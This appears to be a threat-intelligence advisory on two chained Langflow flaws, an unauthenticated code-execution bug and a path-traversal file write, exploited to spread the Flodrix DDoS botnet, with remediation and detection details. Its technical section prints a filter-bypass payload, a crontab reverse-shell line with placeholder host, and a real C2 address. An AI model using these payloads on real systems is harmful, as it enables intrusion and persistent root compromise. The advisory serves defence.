CVE-2025-3248 & CVE-2026-5027: Langflow RCE and Path Traversal Chained for Flodrix Botnet Deployment

CVE-2025-3248 & CVE-2026-5027 (TL-2026-1247), also tracked as Langflow RCE + Path Traversal Chain, is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-07-12. It has no confirmed attribution, affects langflow-ai Langflow, references 2 CVEs (CVE-2025-3248, CVE-2026-5027), maps to 17 MITRE ATT&CK techniques (T1027, T1053.003, T1057), and is covered by 9 detection rules and 21 indicators of compromise.

Key facts for TL-2026-1247

Threat ID
TL-2026-1247
Also known as
Langflow RCE + Path Traversal Chain, Flodrix Langflow Campaign
Severity
CRITICAL
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-12
Last reviewed
2026-07-12
Attribution confidence
LOW
Motivation
FINANCIAL
Target sectors
technology, infrastructure, software development, managed service providers, iot embedded devices, critical infrastructure
Target regions
taiwan, united states of america, Global
Detection rules
9
Indicators of compromise
21

Malware and tooling in CVE-2025-3248 & CVE-2026-5027

Malware and tooling: Flodrix, LeetHozer

Langflow, an open-source AI workflow builder, exposes an unauthenticated RCE in its code-validation endpoint (CVE-2025-3248, CVSS 9.8) and a low-privilege path-traversal file-write flaw in its file-upload endpoint (CVE-2026-5027, CVSS 8.8). CVE-2025-3248 has been actively exploited since at least May 2025 (CISA KEV) to deploy the Flodrix DDoS botnet, and CVE-2026-5027 has a public PoC that plants a root crontab reverse-shell for persistence; the two flaws are chainable against the same unpatched instance.

How CVE-2025-3248 & CVE-2026-5027 works

Langflow is a widely deployed open-source Python framework for building AI/LLM agent workflows. Two vulnerabilities in the same codebase create a full unauthenticated compromise chain. CVE-2025-3248 (CVSS 9.8, CWE-94/CWE-306) lives in the `POST /api/v1/validate/code` endpoint, which is reachable without authentication and executes attacker-supplied Python via `exec()` after only superficial AST-based filtering. The filter can be bypassed because Python decorators and default-argument expressions both evaluate at function-definition time, before the 'validated' function body ever runs — e.g. `@exec("__import__('os').system('id')")` executes immediately when the code is parsed, and command output can be exfiltrated via raised exceptions surfaced in the API's error response. This affects all Langflow releases prior to 1.3.0, and researchers (Horizon3.ai) found roughly 500 exposed instances on the public internet at disclosure. CVE-2025-3248 was added to the CISA Known Exploited Vulnerabilities catalog on 2025-05-05 after Trend Micro documented active exploitation delivering the Flodrix botnet: attackers scan for exposed Langflow servers with Shodan/FOFA, hit the validate/code endpoint with a public GitHub PoC to get a reverse shell, then pull a downloader shell script from 80.66.75.121:25565 that fetches architecture-specific Flodrix ELF binaries (ARM variants). Flodrix is a descendant of the LeetHozer malware family (attributed to the Moobot cluster) built for DDoS-for-hire, supporting tcpraw and udpplain flood modes, XOR-obfuscated C2 strings, encrypted DDoS payload configuration, Tor-based C2 delivery for anonymity, /proc-based process/discovery to evade detection, and a self-delete routine that removes forensic artifacts unless specific run parameters are supplied. Censys researchers found the botnet's own C2 infrastructure misconfigured — an exposed portmapper/NFS share at 80.66.75.121 (NFS mount /nfs2, plus an HTTP admin panel on TCP/3000 labeled 'Killer Logger Dashboard' in Russian) — allowing enumeration of 745 unique victim hosts, ~540 in Taiwan and 17 in the US, roughly half of them internet-connected cameras running the long-discontinued Boa web server. CVE-2026-5027 (CVSS 8.8, CWE-22, Tenable TRA-2026-26) is a separate path-traversal flaw in `POST /api/v2/files`: an authenticated low-privilege user (including one who self-registers via Langflow's default-enabled `/api/v1/auto_login` endpoint) can submit a multipart filename containing `../` traversal sequences, causing the server to write attacker content to arbitrary filesystem paths as the Langflow process user. A public PoC (YH-Blog) uses this to write a `* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'` line into `/etc/crontab`, giving the attacker a recurring root reverse shell. Both flaws affect the same product family (CVE-2025-3248: versions <1.3.0; CVE-2026-5027: versions <=1.8.4, fixed in 1.9.0) and, on an instance patched for only one, remain independently exploitable — an operator who only upgraded past 1.3.0 to close the RCE can still be persistence-compromised via the file-write flaw, and vice versa.

MITRE ATT&CK techniques used in TL-2026-1247

Defense Evasion

T1027 Obfuscated Files or Information; T1070.004 File Deletion; T1140 Deobfuscate/Decode Files or Information

Persistence

T1053.003 Cron

Discovery

T1057 Process Discovery; T1082 System Information Discovery

Execution

T1059.004 Unix Shell; T1059.006 Python

Privilege Escalation

T1068 Exploitation for Privilege Escalation

Command and Control

T1071 Application Layer Protocol; T1090.003 Multi-hop Proxy; T1105 Ingress Tool Transfer

Initial Access

T1190 Exploit Public-Facing Application

Impact

T1498.001 Direct Network Flood

Resource Development

T1583.004 Server; T1588.005 Exploits

Reconnaissance

T1595.001 Scanning IP Blocks

Affected products and versions in CVE-2025-3248 & CVE-2026-5027

  • langflow-ai — Langflow
    Vulnerable versions: 0; up to and including 1.2.x
    Fixed in: 1.3.0
  • langflow-ai — Langflow
    Vulnerable versions: up to and including 1.8.4
    Fixed in: 1.9.0

Remediation for CVE-2025-3248 & CVE-2026-5027

Patches

  • Langflow 1.3.0 (fixes CVE-2025-3248, adds authentication to /api/v1/validate/code)
  • Langflow 1.9.0 (fixes CVE-2026-5027, sanitizes filename parameter in /api/v2/files)

Immediate actions

  • Upgrade Langflow to 1.3.0+ to remediate CVE-2025-3248
  • Upgrade Langflow to 1.9.0+ to remediate CVE-2026-5027
  • Remove Langflow instances from direct internet exposure; place behind authentication/VPN
  • Disable or restrict the default-enabled /api/v1/auto_login endpoint
  • Audit /etc/crontab and other cron directories for unauthorized root entries
  • Search outbound traffic for connections to 80.66.75.121 (TCP/25565, TCP/3000, portmapper 111) and block

Workarounds

  • If patching is not immediately possible, block external access to /api/v1/validate/code and /api/v2/files at a reverse proxy/WAF
  • Disable code-validation feature entirely if not in active use

Longer-term hardening

  • Deploy EDR/behavioral monitoring on Langflow hosts to catch anomalous exec()/subprocess child processes
  • Network-segment AI/ML workflow infrastructure away from production and IoT/camera networks
  • Establish a patch cadence for AI-tooling dependencies (Langflow, similar low-code/agent frameworks)
  • Monitor Censys/Shodan exposure of self-hosted Langflow instances as part of attack-surface management

CVEs associated with CVE-2025-3248 & CVE-2026-5027

CVE-2025-3248, CVE-2026-5027

Weaknesses (CWE) in CVE-2025-3248 & CVE-2026-5027

CWE-94, CWE-306, CWE-22

Timeline of CVE-2025-3248 & CVE-2026-5027

  • CVE-2025-3248 publicly disclosed by Horizon3.ai as an unauthenticated Python exec() RCE in Langflow's /api/v1/validate/code endpoint; roughly 500 exposed instances found on the public internet.
  • CVE-2025-3248 added to the CISA Known Exploited Vulnerabilities catalog.
  • Trend Micro documents active exploitation of CVE-2025-3248 to deliver the Flodrix DDoS botnet.
  • Censys researchers identify a misconfigured Flodrix C2 server (80.66.75.121) exposing NFS/portmapper, enumerating 745 compromised victim hosts.
  • Media coverage (The Hacker News) reports a new Flodrix variant with encrypted DDoS payloads and Tor-based C2 delivery.
  • CVE-2026-5027 (Langflow path traversal in /api/v2/files) initially reported to the vendor per Tenable advisory TRA-2026-26.
  • Tenable publishes public advisory TRA-2026-26 for CVE-2026-5027, including a cron-persistence PoC writing to /etc/crontab.
  • Langflow 1.9.0 released, fixing CVE-2026-5027 by sanitizing the filename parameter.
  • Picus Security publishes an analysis chaining CVE-2025-3248 and CVE-2026-5027 against the same Langflow deployment.

Sources cited for CVE-2025-3248 & CVE-2026-5027

Threats related to CVE-2025-3248 & CVE-2026-5027

Detection coverage for TL-2026-1247

As of 2026-07-12, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1247 across Splunk SPL, Microsoft KQL and Sigma, covering 21 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats